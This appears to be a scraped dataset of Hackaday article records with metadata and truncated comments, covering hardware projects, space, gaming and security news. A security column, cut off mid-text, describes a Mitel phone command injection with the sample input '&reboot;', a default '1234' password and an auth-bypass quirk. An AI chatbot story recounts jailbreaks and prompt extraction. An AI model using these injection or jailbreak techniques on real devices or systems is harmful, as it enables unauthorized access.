] | Power distribution units, as the name implies, are indispensable tools to have available in a server rack. They can handle a huge amount of power for demands of intensive computing and do it in a way that the wiring is managed fairly well. Plenty of off-the-shelf solutions have remote control or automation capabilities as well, but finding none that fit [fmarzocca]’s needs or price range, he ended up
building his own essentially from scratch that powers his home automation system
.
Because it is the power supply for a home automation system, each of the twelve outlets in this unit needed to be individually controllable. For that, three four-channel relay boards were used, each driven by an output on an ESP32. The ESP32 is running the Tasmota firmware to keep from having to reinvent the wheel, while MQTT was chosen as a protocol for controlling these outlets to allow for easy integration with the existing Node-RED-based home automation system. Not only is control built in to each channel, but the system can monitor the power consumption of each outlet individually as well. The entire system is housed in a custom-built sheet metal enclosure and painted to blend in well with any server rack.
Adding a system like this to a home automation system can simplify a lot of the design, and the scalable nature means that a system like this could easily be made much smaller or much larger without much additional effort. If you’d prefer to keep your hands away from mains voltage, though, we’ve seen similar builds based on USB power instead,
with this one able to push around 2 kW
. | 28 | 13 | [
{
"comment_id": "6753439",
"author": "Orzel",
"timestamp": "2024-04-25T20:16:04",
"content": "“the power consumption of each outlet individually as well”You misread your own source. It measures the total consumption, not each outlet. This is fairly obvious also from the header image.",
"parent_i... | 1,760,371,934.224022 | ||
https://hackaday.com/2024/04/25/the-myth-of-propellantless-space-propulsion-refuses-to-die/ | The Myth Of Propellantless Space Propulsion Refuses To Die | Maya Posch | [
"Science",
"Space"
] | [
"emdrive",
"space propulsion"
] | In a Universe ruled by the harsh and unyielding laws of Physics, it’s often tempting to dream of mechanisms which defy these rigid restrictions. Although over the past hundred years we have made astounding progress in uncovering ways to work within these restrictions — including splitting and fusing atoms to liberate immense amounts of energy — there are those who dream of making reality a bit more magical. The concept of asymmetrical electrostatic propulsion is a major player here, with the EmDrive the infamous example. More recently [Dr. Charles Buhler]
proposed trying it again
, as part of his company Exodus Propulsion Technologies.
This slide from Dr. Buhler’s APEC presentation shows the custom-made vacuum chamber built to test their propellantless Propulsion drive in a simulated space environment. Image Credit: Exodus Propulsion Technologies, Buhler, et al.
The problem with such propellantless space propulsion proposals is that they violate the core what we know about the physical rules, such as the conclusion by Newton that for any action there has to be an opposite reaction. If you induce an electrostatic field or whatever in some kind of device, you’d expect any kind of force (‘thrust’) this creates to act in all directions equally, ergo for thrust to exist, it has to push on something in the other direction. Rocket and ion engines (thrusters) solve this by using propellant that create the reaction mass.
The EmDrive was
firmly disproven
2021 by [M. Tajmar] and colleagues in their paper titled
High-accuracy thrust measurements of the EMDrive and elimination of false-positive effects
as published in
CEAS Space Journal
, which had the researchers isolate the EmDrive from all possible outside influences. Since the reported thrust was on the level of a merest fraction of a Newton, even the impact from lighting in a room and body heat from the researchers can throw off the results, not to mention the heat developed from a microwave emitter as used in the EmDrive.
Meanwhile True Believers flock to the ‘Alt Propulsion Engineering Conference’ (
APEC
), as no self-respecting conference or scientific paper will accept such wishful claims. In the case of [Buhler], he claims that their new-and-improved EmDrive shows a force of 10 mN in a ‘stacked system’, yet no credible paper on the experiments can be found other than APEC presentations. Until their prototype is tested the way the EmDrive was tested by [M. Tajmar] et al., it seems fair to assume that the rules of physics as we know them today remain firmly intact. | 106 | 31 | [
{
"comment_id": "6753416",
"author": "Zynerji",
"timestamp": "2024-04-25T18:44:33",
"content": "I think this tech will eventually find some sort of way to emit pulsed, rotating fields that act like standing waves and allows the net thrust to be observed. Like an RF “smoke ring” antenna blowing out ... | 1,760,371,934.383436 | ||
https://hackaday.com/2024/04/25/reverse-engineering-a-fancy-disposable-vape/ | Reverse Engineering A Fancy Disposable Vape | Jenny List | [
"Reverse Engineering"
] | [
"disposable vape",
"reverse engineering",
"throwaway culture"
] | Many readers will be aware of the trend for disposable vapes, and how harvesting them for lithium-ion batteries has become a popular pastime in our community. We’re all used to the slim ones about the size of a marker pen, but it’s a surprise to find that they also come in larger sizes equipped with colour LCD screens. [Jason Gin] received one of this type of vape,
and set about reverse engineering it
.
What he found inside alongside the lithium-ion cell (we love his use of the term ” street lithium” by the way) was an ARM Cortex M0 microcontroller, 1 MB of flash, and that 80×160 display. Some investigation revealed this last part to have an ST7735S controller with an SPI interface. He turned his attention to the flash, which was filled with the bitmaps for the display. Seeing an opportunity there, this lead to the creation of a Windows 95 theme for the device.
Finally, the microcontroller turned out to be accessible with programming tools, with an unprotected firmware. The reverse engineering effort is ongoing, but we hope the result is a small dev board that will at least save some of the from being e-waste. If you’re curious, all the tools used are in a GitHub repository.
Meanwhile,
we’ve looked at street lithium harvesting before
.
Thanks [DeadFishOnTheLanding] for the tip! | 26 | 8 | [
{
"comment_id": "6753390",
"author": "fiddlingjunky",
"timestamp": "2024-04-25T15:57:03",
"content": "Even if you don’t find it by the side of the road, that’s a pretty good dev board for $20! 48MHz M0, 1MB flash (maybe some internal as well), screen, battery with charging circuitry, and coil driver... | 1,760,371,934.49963 | ||
https://hackaday.com/2024/04/25/keebin-with-kristina-the-one-with-the-transmitting-typewriter/ | Keebin’ With Kristina: The One With The Transmitting Typewriter | Kristina Panos | [
"Hackaday Columns",
"Peripherals Hacks",
"Slider"
] | [
"banana",
"chording",
"chording keyboard",
"japanese",
"morse code",
"Yetman Transmitting Typewriter",
"zoom",
"zoom keyboard",
"ZX Spectrum"
] | Image by [SrBlonde] via
Hackaday.IO
Okay, so we’re opening with more than just a keyboard, and that’s fine. In fact, it’s more than fine, it’s probably
the cutest lil’ ZX Spectrum you’ll see today.
[SrBlonde]’s wonderful micro Spectrum project has only the essential inputs, which makes for an interesting-looking keyboard for sure. Inside you’ll find an Orange Pi Zero 2 board loaded with Batocera so [SrBlonde] can play all their favorite childhood games on the 5″ IPS display.
Something else that’s interesting is that the switches are a mix of blues and blacks — clickies and linears. I can’t figure out how they’re distributed based on the numbers in the components list, but I could see using clickies on the alphas and linears everywhere else (or vice versa). At any rate, it’s a great project, and you can
grab the STL files from Thingiverse
if you’re so inclined.
Zoom Keyboard Keeps It Simple
Image by [Olga Pavlova] via
Hackaday.IO
If you’ve ever used Zoom with any regularity, you may have longed for a keyboard much like
this macro pad from [Olga Pavlova].
[Olga] is using this bad boy in an educational setting, so the hot keys are set up as follows: raise/lower hand, mute/un-mute audio, and show/hide the in-meeting chat panel. Simple plus useful equals elegant in my book. This keyboard is built on the ATtiny85, and you can find more details on
GitHub
including the code.
I’m quite drawn to the interesting design of this one, and I’m not quite sure what it reminds me of. Maybe an upside-down Steam logo. What do you think it looks like?
The Centerfold: Peel Slowly and See
Image by [ItsameDoody] via
reddit
Yep, this time we’re going with
nature’s energy bar
, the
KBDFans banana desk mat
. Although there’s no edible banana for scale, there is a nice Mammoth75 keyboard, and a really lovely wrist rest that totally blends in with the desk. Believe it or not, those creamy keycaps aren’t from a group buy or anything crazy, they’re just some milky white PBTs from the Bezos Barn.
Do you rock a sweet set of peripherals on a screamin’ desk pad?
Send me a picture
along with your handle and all the gory details, and you could be featured here!
Historical Clackers: the Yetman Transmitting Typewriter
Image via
Oz Typewriter
The remarkably heavy
Yetman Transmitting Typewriter
of 1903 was a bit like a laptop of its time in that you could hook into the telegraph wires and send a message from anywhere. (Well, anywhere with telegraph wires.) And, at the same time, if you wanted, you could produce a hard copy of that message. Or, you could just use the thing as a normal typewriter.
And as far as normal typewriters go, the Yetman isn’t too outstanding aside from its transmitting capabilities. In order to transmit, you simply pressed the lever on the left side of the keyboard. To engage the typebars, you pressed a lever on the right.
You may have noticed the shelf above the keyboard with the strange knob. That is a Morse keyer for sending messages the traditional way. Many sources claimed that the Yetman could also receive transmissions, but that’s not the case.
There are many mysteries surrounding the Yetman, its inventor, and the company’s president, which
you can read all about on the Oz Typewriter blog
.
ICYMI: KanaChord, the Japanese Macro Pad
The red light means an invalid combination was pressed. Image by [Mac Cody] via
Hackaday.IO
Want to input a little Japanese here and there on your computer? Normally you’d need to switch languages, but why not switch peripherals instead? That’s the idea behind [Mac Cody]’s
KanaChord
, which generates Unicode macros that render Japanese Kana characters by way of chords — multiple keys at once, like on a piano.
It’s simple, really, as long as you know your table of Kana — that’s how the Hirigana and Katakana elements of the Japanese language are collectively known. There’s also the Kanji, or Chinese characters that round it all out. This version of the KanaChord lacks the Kanji, but the KanaChord Plus Keyboard will have 6,000+ characters.
KanaChord uses color to differentiate between character types, to indicate Kana mode, and even provide error feedback whenever an invalid chord is pressed. Inside you’ll find a Raspberry Pi Pico and an Adafruit NeoKey 5×6 Ortho Snap-Apart keyboard PCB, which simplifies things considerably. Underneath those cool 3D-printed keycaps are thirty Cherry MX switches of unknown color, but which I choose to believe are blue.
Got a hot tip that has like, anything to do with keyboards?
Help me out by sending in a link or two
. Don’t want all the Hackaday scribes to see it? Feel free to
email me directly
. | 5 | 5 | [
{
"comment_id": "6753361",
"author": "Alphatek",
"timestamp": "2024-04-25T14:04:35",
"content": "It’s been a long time, but wasn’t QZIP more popular than QAOP on the spectrum? And the less said about games that used the cursors the better…",
"parent_id": null,
"depth": 1,
"replies": []
... | 1,760,371,934.435325 | ||
https://hackaday.com/2024/04/25/chip-mystery-the-case-of-the-purloined-pin/ | Chip Mystery: The Case Of The Purloined Pin | Dan Maloney | [
"Microcontrollers",
"Parts"
] | [
"bond",
"bug",
"CH32V003",
"design",
"MISO",
"MOSI",
"RISC-V",
"SCK",
"SOP16",
"spi"
] | Let’s face it — electronics are hard. Difficult concepts, tiny parts, inscrutable datasheets, and a hundred other factors make it easy to screw up in new and exciting ways. Sometimes the Magic Smoke is released, but more often things just don’t work even though they absolutely should, and no amount of banging your head on the bench seems to change things.
It’s at times like this that one questions their sanity, as [Gili Yankovitch] probably did when he discovered that
not all CH32V003s are created equal
. In an attempt to recreate
the Linux-on-a-microcontroller project
, [Gili] decided to go with the A4M6 variant of the dirt-cheap RISC-V microcontroller. This variant lives in a SOP16 package, which makes soldering a bit easier than either of the 20-pin versions, which come in either QFN or TSSOP packages.
Wisely checking the datasheet before proceeding, [Gili] was surprised and alarmed that the clock line for the SPI interface didn’t appear to be bonded out to a pin. Not believing his eyes, he turned to
the ultimate source of truth and knowledge
, where pretty much everyone came to the same conclusion: the vendor done screwed up.
Now, is this a bug, or is this a feature? Opinions will vary, of course. We assume that the company will claim it’s intentional to provide only two of the three pins needed to support a critical interface, while every end user who gets tripped up by this will certainly consider it a mistake. But forewarned is forearmed, as they say, and hats off to [Gili] for taking one for the team and letting the community know. | 29 | 12 | [
{
"comment_id": "6753320",
"author": "willmore",
"timestamp": "2024-04-25T11:27:41",
"content": "Both the 8 pin and the 16 pin variants lack the SPI functionality. This is right there in the second page of the datasheet–it used to be on the first page, but pagination pushed it to the second. Both ... | 1,760,371,934.577649 | ||
https://hackaday.com/2024/04/27/3d-printed-adapter-helps-you-eat-chicken-nuggets-on-the-highway/ | 3D Printed Adapter Helps You Eat Chicken Nuggets On The Highway | Lewin Day | [
"3d Printer hacks"
] | [
"3d printing",
"adapter",
"chick-fil-a",
"chicken",
"cupholder",
"nuggets"
] | So often, we see 3D printers used to create some nifty little tool for a tricky little job. Maybe it’s to lock cams together for a timing belt change, or to work as a jig for soldering some complex device. However, some hacks are even simpler than that. [maker_guy] realized that eating nuggets in the car could be easier than ever
with a little printed adapter.
The print is simple. It’s a round caddy for the nugget sauces given out by Chick-fil-A restaurants. Why round? Because it lets the nugget sauce sit neatly in your car’s cupholder at an accessible height. Put the sauce tub in the adapter, peel it open, and you can dip to your heart’s content.
So simple, yet a game changer all the same.
No more delicately balancing Zesty Buffalo by the gearstick while you try and chow down. Nor will your seat covers be tainted with Honey Mustard!
“Not a hack!” you scream. “It’s frivolous nonsense!” To that I say, are you a nugget eater or not? I myself partake, and I can absolutely see the value in this. You see, us journalists work hard. We’re often stuck eating substandard food in our cars on the way from one thing to another, like so many others in busy professions. If a smart little 3D-printed adapter can make mealtime easier and save some mess, I’m calling that a win.
You should never be afraid to use your creativity to make tools to improve your life. Parts are
on Thingiverse
if you need to print your own. Mod it to suit McDonald’s product if you need. Heck, print in black and it’d look like a stock part of the car!
You don’t have to like
this simple adapter
, but you can’t deny
its utility!
Share your own nifty little adapter ideas in the comments. | 62 | 26 | [
{
"comment_id": "6753929",
"author": "rclark",
"timestamp": "2024-04-27T17:31:05",
"content": "Neat idea. I like. Chick-fil-A is the best! As for eating in car. Do that a lot when being ‘driven’ from the airport when we arrive by one of our kids. Usually first stop is Chick-fil-A after a long f... | 1,760,371,934.684195 | ||
https://hackaday.com/2024/04/27/welcome-back-voyager/ | Welcome Back, Voyager | Elliot Williams | [
"Hackaday Columns",
"News",
"Slider",
"Space"
] | [
"machine language",
"newsletter",
"voyager"
] | In what is probably the longest-distance tech support operation in history, the Voyager mission team succeeded in hacking their way around some defective memory and
convincing their space probe to send sensor data back to earth again
. And for the record, Voyager is a 46-year old system at a distance of now 24 billion kilometers, 22.5 light-hours, from the earth.
While the time delay that distance implies must have made for quite a tense couple days of waiting between sending the patch and finding out if it worked, the age of the computers onboard probably actually helped, in a strange way. Because the code is old-school machine language, one absolutely has to know all the memory addresses where each subroutine starts and ends. You don’t call a function like
do_something();
but rather by loading an address in memory and jumping to it.
This means that the ground crew, in principle, knows where every instruction lives. If they also knew where all of the busted memory cells were, it would be a “simple” programming exercise to jump around the bad bits, and re-write all of the subroutine calls accordingly if larger chunks had to be moved. By “simple”, I of course mean “incredibly high stakes, and you’d better make sure you’ve got it right the first time.”
In a way, it’s a fantastic testament to simpler systems that they were able to patch their code around the memory holes. Think about trying to do this with a modern operating system that uses
address space layout randomization
, for instance. Of course, the purpose there is to make hacking directly on the memory harder, and that’s the opposite of what you’d want in a space probe.
Nonetheless, it’s a testament to careful work and clever software hacking that they managed to get Voyager back online. May she send for another 46 years!
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.
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! | 59 | 16 | [
{
"comment_id": "6753889",
"author": "Robert",
"timestamp": "2024-04-27T14:22:48",
"content": "Amazing hack job by the support team! And what a testament to the engineers who designed Voyager!As a ham radio operator who builds my own gear from scratch, I am astonished that the meager signals transmi... | 1,760,371,934.793909 | ||
https://hackaday.com/2024/04/27/photo-shows-real-spiders-from-mars/ | Photo Shows Real Spiders From Mars | Jenny List | [
"Space"
] | [
"ESA",
"mars",
"spiders"
] | A cornerstone of early 1970s rock music culture was the British singer David Bowie in his Ziggy Stardust persona, along with his backing band the Spiders from Mars. You can tell that the PR department at the European Space Agency were beside themselves with glee at the opportunity to reference them when their Mars Express spacecraft snapped a picture of some of the planets surface structures which
bear a passing resemblance to Earth-bound spiders
. We can’t blame them, we’d have done the same.
While these spiders are definitely not arachnid in origin, they are no less interesting. Over the Martian winter there form layers of carbon dioxide ice, which turn to gas under the influence of the Sun. This gas becomes trapped underneath layers of ice, until it forms sufficient pressure to burst through and escape. In doing so it brings up dark dust which settles along fissures in the ice, leading to the spider-like patterns when viewed from orbit.
So no life on Mars then, at least as yet. But it’s an interesting observation, and another little piece in the puzzle of understanding our planetary neighbor, as well as an excuse for a classic rock earworm. Meanwhile,
this isn’t the first time we’ve reported on the ESA Mars probes
. | 16 | 7 | [
{
"comment_id": "6753858",
"author": "Danjovic",
"timestamp": "2024-04-27T12:11:06",
"content": "Now we know why Spider Man clothes were mostly red.",
"parent_id": null,
"depth": 1,
"replies": [
{
"comment_id": "6753938",
"author": "make piece not war",
"tim... | 1,760,371,934.846023 | ||
https://hackaday.com/2024/04/27/how-additional-aerodynamic-drag-helped-make-gta-iii-work-on-ps2/ | How Additional Aerodynamic Drag Helped MakeGTA IIIWork On PS2 | Lewin Day | [
"Playstation Hacks",
"Software Hacks"
] | [
"gaming",
"Grand Theft Auto",
"GTA",
"playstation",
"playstation 2"
] | The PlayStation 2 was a revelation when it hit the market in 2000, and yet by modern standards, it’s almost hopelessly weak. In fact, it’s so under-powered,
Rockstar developers had to pull every trick in the book
to make
Grand Theft Auto III
even work on the platform.
The story comes to us from developer [Obbe Vermeij]. He explains that the PlayStation 2 couldn’t keep the entire open-world game map in its tiny 32 MB of RAM. Instead, models had to be streamed from the DVD drive as the player moved around the world. However, even the DVD drive wasn’t fast enough. If the player moved too quickly, they would outpace the system’s ability to load new assets, and the world would fall apart. Roads would vanish, buildings simply wouldn’t appear before the player passed by them.
According to [Obbe], getting around this challenge was the job of one [Adam Fowler]. He notes that even optimizing the layout of data on the DVD wasn’t enough to help. Nifty hacks had to be employed to slow the player down. Road networks were changed to stop the player speeding towards areas that needed lots of new models. In other areas, vehicles in the game would experience a nearly-imperceptible 5% increase in air drag to dull their speed. This was chosen as a more invisible solution; cutting engine power directly was audible to players as the audio changed.
It shows you just how hard developers had to work back
when resources were far more constrained than they are today! | 17 | 2 | [
{
"comment_id": "6753808",
"author": "CJay",
"timestamp": "2024-04-27T08:18:29",
"content": "If there’s one thing that’s been a constant over the decades I’ve been playing with consoles and working with computers it’s that devs will always use more resource than is available, in 25 years time I don’... | 1,760,371,934.90883 | ||
https://hackaday.com/2024/04/26/nearly-destroyed-commodore-gets-new-life/ | Nearly-Destroyed Commodore Gets New Life | Bryan Cockfield | [
"Retrocomputing"
] | [
"circuit board",
"commodore",
"pc-20",
"pcb",
"rebuild",
"restoration",
"retrocomputing"
] | We all have our shiny, modern computers for interacting with the modern world, but at times they can seem a little monochromatic. Even the differences between something like macOS and Windows for the average user often boil down to which operating system loads an Internet browser. There are obviously more differences than that, but back in the 80s it was much more extreme with interoperability a pipe dream in most cases. What keeps drawing people to maintaining and using computers from that chaotic era is more tangible compared to modern machines, and that is meant quite literally; computers from this era can be saved from an extreme amount of degradation
like this Commodore that was nearly completely destroyed before it was re-discovered
.
The first step was to restore the case of this Commodore PC20-III, but the restoration of the computer’s internals took a bit more time. First, the entire board was de-soldered, with any rare chips being set aside for future use. Unfortunately the board itself was too corroded and otherwise damaged to be used, but since these were just two-layer boards it could be photographed and then re-created in CAD software to make a near-perfect duplicate of the original. The team at [The Cave] took the opportunity to add patch wires which would have been present in the original machine into the PCB, and made some other upgrades as well like adding sockets to various chips that would have been originally soldered to the board.
The passive components, especially capacitors, were brand new as well and some period-correct components such as a monitor and keyboard finish out the build. The computer boots on the first try, and is quickly put through its paces testing the hard disk drive, using the old floppy drive, and even playing a few video games from the era. The fact that retrocomputers like these are easy (by modern standards) to reverse engineer and restore surely leads to their continued popularity, and we’ve seen everything from C64s to
this 128DCR get a similar full restoration
. | 10 | 9 | [
{
"comment_id": "6753815",
"author": "biuro",
"timestamp": "2024-04-27T08:44:13",
"content": "Good luck reverse engineering a humble E8400.",
"parent_id": null,
"depth": 1,
"replies": []
},
{
"comment_id": "6753887",
"author": "Clancydaenlightened",
"timestamp": "2024-04-... | 1,760,371,934.957945 | ||
https://hackaday.com/2024/04/26/australian-library-uses-chatbot-to-imitate-veteran-with-predictable-results/ | Australian Library Uses Chatbot To Imitate Veteran With Predictable Results | Lewin Day | [
"Machine Learning"
] | [
"ai",
"chatbot"
] | The educational sector is usually the first to decry large language models and AI, due to worries about cheating. The State Library of Queensland, however, has embraced the technology in controversial fashion. In the lead-up to Anzac Day, the primarily Australian war memorial holiday, the library released
a chatbot intended to imitate a World War One veteran
. It went as well as you’d expect.
The highlighted line was apparently added to the chatbot’s instructions later on to help shut down tomfoolery.
Twitter users immediately chimed in with dismay at the very concept. Others showed how easy it was to “jailbreak” the AI, convincing Charlie he was actually supposed to
teach Python
,
imitate Frasier Crane
, or explain laws like Elle
from
Legally Blonde.
One person figured out how to get Charlie to spit out
his initial instructions
; these were patched later in the day to try and stop some of the shenanigans.
From those instructions, it’s clear that this was supposed to be educational, rather than some sort of macabre experiment. However, Charlie didn’t do a great job here, either. As with any Large Language Model, Charlie had no sense of objective truth. He routinely spat out
incorrect facts
regarding the war, and regularly contradicted himself.
Generally, any plan that includes the words “impersonate a veteran” is a foolhardy one at best. Throwing a machine-generated portrait and a largely uncontrolled AI into the mix didn’t help things. Regardless, the State Library has left the
“Virtual Veterans” experience
up at the time of writing.
The problem with AI is that it’s not a magic box that gets things right all the time.
It never has been.
As long as organizations keep putting AI to use in ways like this, the same story will keep playing out. | 16 | 8 | [
{
"comment_id": "6753779",
"author": "TG",
"timestamp": "2024-04-27T02:23:11",
"content": "Also it wouldn’t be able to talk about anything interesting concerning war without reverting to the lobotomized HR lady AI that we all know and love",
"parent_id": null,
"depth": 1,
"replies": [
... | 1,760,371,935.016928 | ||
https://hackaday.com/2024/04/26/keep-tabs-on-pc-use-with-custom-analog-voltmeter/ | Keep Tabs On PC Use With Custom Analog Voltmeter | Bryan Cockfield | [
"computer hacks"
] | [
"computer",
"cpu",
"desktop",
"display",
"ESP32",
"leds",
"monitor",
"pwm",
"rgb",
"usage",
"voltmeter",
"windows"
] | With the demands of modern computing, from video editing, streaming, and gaming, many of us will turn to a monitoring system of some point to keep tabs on CPU usage, temperatures, memory, and other physical states of our machines. Most are going to simply display on the screen but this data can be sent to external CPU monitors as well.
This retro-styled monitor built on analog voltmeters does a great job of this
and adds some flair to a modern workstation as well.
The build, known as bbMonitor, is based on the ESP32 platform which controls an array of voltmeters via PWM. The voltmeters have been modified with a percentage display to show things like CPU use percentage. Software running on the computers sends this data in real time to the ESP32 so the computer’s behavior can be viewed at a glance. Each voltmeter is also augmented with RGB LEDs that change color from green to red as use increases as well. The project’s creator, [Corebb], also notes that the gauges will bounce around if the computer is under heavy load but act more linearly when under constant load, also helping to keep an eye on computer status.
While the build does seem to rely on a Windows machine to run the software for export to the monitor, all of the code is open-sourced and available
on the project’s GitHub page
and could potentially be adapted for other operating systems. And, as far as the voltmeters themselves go,
there have been similar projects in the past that use stepper motors as a CPU usage monitor
instead. | 8 | 5 | [
{
"comment_id": "6753772",
"author": "paulvdh",
"timestamp": "2024-04-27T00:45:58",
"content": "Very similar to:https://hackaday.com/2023/12/04/mini-meters-monitor-microprocessor-maximization/",
"parent_id": null,
"depth": 1,
"replies": [
{
"comment_id": "6753821",
... | 1,760,371,935.065331 | ||
https://hackaday.com/2024/04/26/build-your-own-class-e-musical-tesla-coil/ | Build Your Own Class-E Musical Tesla Coil | Lewin Day | [
"Musical Hacks"
] | [
"plasma",
"Singing Tesla coil",
"tesla coil"
] | We’ve all seen a million videos online with singing Tesla coils doing their thang. [Zach Armstrong] wasn’t content to just watch, though.
He went out and built one himself!
Even better, he’s built a guide for the rest of us, too!
His guide concerns the construction of a Class-E solid state Tesla coil. These are “underrated” in his opinion, as they’re simple, cheap, and incredibly efficient. Some say up to 95% efficient, in fact! It’s not something most Tesla coil fans are concerned with, but it’s nice to save the environment while making fun happy sparks, after all.
[Zach]’s guide doesn’t just slap down a schematic and call it good. He explains the theory behind it, and the unique features too. He uses an adjustable Schmitt trigger oscillator for the build, and he’s naturally given it an audio modulation capability because that’s a good laugh, too.
If you’ve ever wanted to convince you’re friends you’re incredibly smart and science-y, you can’t go wrong with a singing Tesla coil. This beats out
Jacob’s ladder
and most other plasma experiments for sheer mad scientist cred.
Have fun out there! Video after the break. | 10 | 6 | [
{
"comment_id": "6753775",
"author": "Garth",
"timestamp": "2024-04-27T01:26:15",
"content": "Great project! Reminded me of the Nicholas Gage movie Sorcerer’s Apprentice and the Tesla coils playing music. Might be fun to scale it up.",
"parent_id": null,
"depth": 1,
"replies": []
},
... | 1,760,371,935.283267 | ||
https://hackaday.com/2024/04/26/2024-home-sweet-home-automation-spray-bottle-turret-silences-barking/ | 2024 Home Sweet Home Automation: Spray Bottle Turret Silences Barking | Kristina Panos | [
"contests",
"home hacks",
"Raspberry Pi"
] | [
"2024 Home Sweet Home Automation",
"barking",
"dog",
"heat seeking",
"raspberry pi",
"turret"
] | Ah, dogs. They sure like to bark, don’t they? [rrustvold]’s dog likes to bark at the door when a package arrives. Or when someone walks by the house, or whenever the mood strikes, really. To solve the barking issue, at least near the front door, [rrustvold] built
a spray bottle turret
to teach the dog through classical conditioning.
As you can see from the image, it’s all about pulling the trigger on a standard spray bottle at the right time. This machine only sprays when two conditions are met: it hears noise (like barking) and detects motion (like overzealous tail wagging). It also has heat-seeking abilities thanks to a Raspberry Pi thermal camera.
To do the actual spraying, there’s a DC motor mounted behind the bottle which turns a pulley that’s mounted to its shaft. Around the pulley is a string that wraps around the spray bottle’s trigger. To complete the build, everything is mounted on a lazy Susan so there’s nowhere for Fido to hide-o.
If you’ve a dog whose bite is worse than its bark,
consider building a custom dog door to keep it out of the cat box.
The
2024 Home Sweet Home Automation
contest has officially wrapped — we’re counting the votes now, so stay tuned for an announcement about the winners shortly. | 13 | 4 | [
{
"comment_id": "6753720",
"author": "David Given",
"timestamp": "2024-04-26T19:07:53",
"content": "I’m reminded of the cautionary tale of the annoyed birdwatcher who spent weeks building a machine-vision operated servo-driven automated turret which would detect squirrels stealing nuts from the bird... | 1,760,371,935.239399 | ||
https://hackaday.com/2024/04/26/hackaday-podcast-episode-268-rf-burns-wireless-charging-sucks-and-barnacles-grow-on-flaperons/ | Hackaday Podcast Episode 268: RF Burns, Wireless Charging Sucks, And Barnacles Grow On Flaperons | Dan Maloney | [
"Hackaday Columns",
"Podcasts"
] | [
"Hackaday Podcast"
] | Not necessarily the easy way to program an EPROM
Elliot and Dan got together to enshrine the week’s hacks in podcast form, and to commiserate about their respective moms, each of whom recently fell victim to phishing attacks. It’s not easy being ad hoc tech support sometimes, and as Elliot says, when someone is on the phone telling you that you’ve been hacked, he’s the hacker. Moving on to the hacks, we took a look at a hacking roadmap for a cheap ham radio, felt the burn of AM broadcasts, and learned how to program old-school EPROMs on the cheap.
We talked about why having a smart TV in your house might not be so smart, especially for Windows users, and were properly shocked by just how bad wireless charging really is. Also, cheap wind turbines turn out to be terrible, barnacles might give a clue to the whereabouts of MH370, and infosec can really make use of cheap microcontrollers.
Where to Follow Hackaday Podcast
Places to follow Hackaday podcasts:
iTunes
Spotify
Stitcher
RSS
YouTube
Check
out our Libsyn landing page
Grab a copy for yourself
if you want to listen offline.
Episode 268 Show Notes:
News:
NASA’s Voyager 1 Resumes Sending Engineering Updates To Earth
What’s that Sound?
Congrats to [Medic456] for recognizing a radio time signal — in this case
DCF77
.
Radio Station WWV: All Time, All The Time,
which was Dan’s guess.
Interesting Hacks of the Week:
How Wireless Charging Works And Why It’s Terrible
Reverse Engineering The Quansheng Hardware
Deconstructing PCBs
Remoticon Video: How To Reverse Engineer A PCB
Your Smart TV Does 4K, Surround Sound, Denial-of-service…
Help with figuring out what is causing waitchain/deadlock in dashost (causing TaskMgr, Settings hang or any app that uses WiFi/BT) – Microsoft Q&A
Radio Frequency Burns, Flying A Kite, And You
We made a hot dog talk… with RF – YouTube
Retrotechtacular: A Tour Of WLW, A 500,000 Watt Radio Transmitter
Flute Now Included On List Of Human Interface Devices
Wonka Whistle – YouTube
Relatively Universal ROM Programmer Makes Retro Tech Hacking Accessible
Hackaday Prize 2023: 65uino 6502 Learning In A Familiar Package
Quick Hacks:
Elliot’s Picks
The Performance Impact Of C++’s `final` Keyword For Optimization
Implantable Battery Charges Itself
Chip Mystery: The Case Of The Purloined Pin
The MUSE Permanent Magnet Stellarator: Fusion Reactor With Off-The-Shelf Parts
Dan’s Picks:
Bad Experiences With A Cheap Wind Turbine
AM Radio Broadcast Uses Phasor To Let Eight Towers Spray One Big Signal
Ancient Cable Modem Reveals Its RF Secrets
Can’t-Miss Articles:
Supercon 2023: Alex Lynd Explores MCUs In Infosec
DNS Tunneling: Getting The Data Out Over Other Peoples’ WiFi
The Hunt For MH370 Goes On With Barnacles As A Lead | 4 | 3 | [
{
"comment_id": "6753930",
"author": "a_do_z",
"timestamp": "2024-04-27T17:35:40",
"content": "If we ever see it in use, we’ll know who’s behind the online alias BarnacleAnatomy.",
"parent_id": null,
"depth": 1,
"replies": []
},
{
"comment_id": "6754506",
"author": "Backinthe... | 1,760,371,935.113633 | ||
https://hackaday.com/2024/04/26/this-week-in-security-cisco-mitel-and-ai-false-flags/ | This Week In Security: Cisco, Mitel, And AI False Flags | Jonathan Bennett | [
"Hackaday Columns",
"News",
"Security Hacks",
"Slider"
] | [
"apt",
"cisco",
"False Flag",
"This Week in Security"
] | There’s a trend recently, of
big-name security appliances getting used in state-sponsored attacks
. It looks like Cisco is the latest victim, based on
a report by their own Talos Intelligence
.
This particular attack has a couple of components, and abuses a couple of vulnerabilities, though the odd thing about this one is that the initial access is still unknown. The first part of the infection is Line Dancer, a memory-only element that disables the system log, leaks the system config, captures packets and more. A couple of the more devious steps are taken, like replacing the crash dump process with a reboot, to keep the in-memory malware secret. And finally, the resident installs a backdoor in the VPN service.
There is a second element, Line Runner, that uses a vulnerability to arbitrary code from disk on startup, and then installs itself onto the device. That one is a long term command and control element, and seems to only get installed on targeted devices. The Talos blog makes a rather vague mention of a 32-byte token that gets pattern-matched, to determine an extra infection step. It may be that Line Runner only gets permanently installed on certain units, or some other particularly fun action is taken.
Fixes for the vulnerabilities that allowed for persistence are available, but again, the initial vector is still unknown. There’s a vulnerability that just got fixed, that could have been such a vulnerability.
CVE-2024-20295
allows an authenticated user with read-only privileges perform a command injection as root. Proof of Concept code is out in the wild for this one, but so far there’s no evidence it was used in any attacks, including the one above.
Mitel Pop From the Front Panel
The good folks at Baldur
decided to go hunting for bugs in Mitel VoIP phones
. These are pretty commonly used in businesses and hotel back offices. And the first brilliant find was a system compromise just from punching buttons on the phone. Under diagnostics in the menu, the diagnostic server setting is used to upload logs and system information. That setting apparently gets passed into a shell command, as an ampersand is all it takes to execute commands. You can bet that the next time I’m around a Mitel phone, I’m trying
&reboot;
. That’s technically protected by an admin password — which is usually set to “1234”.
But wait, there’s more. The front panel hack was useful for getting a toehold to run a debugger and other tools, but we need to go deeper. There’s a webserver on port 80, for doing device configuration. It has GET requests locked down reasonably well, but there’s a really odd quirk, that POST requests don’t have to be authorized, so long as a valid GET request has been made within the last 10 minutes. That would be something on it’s own, but even better is the fact that there are a few GET requests that trigger the timer, and don’t require authentication. The winner here is the humble favicon.
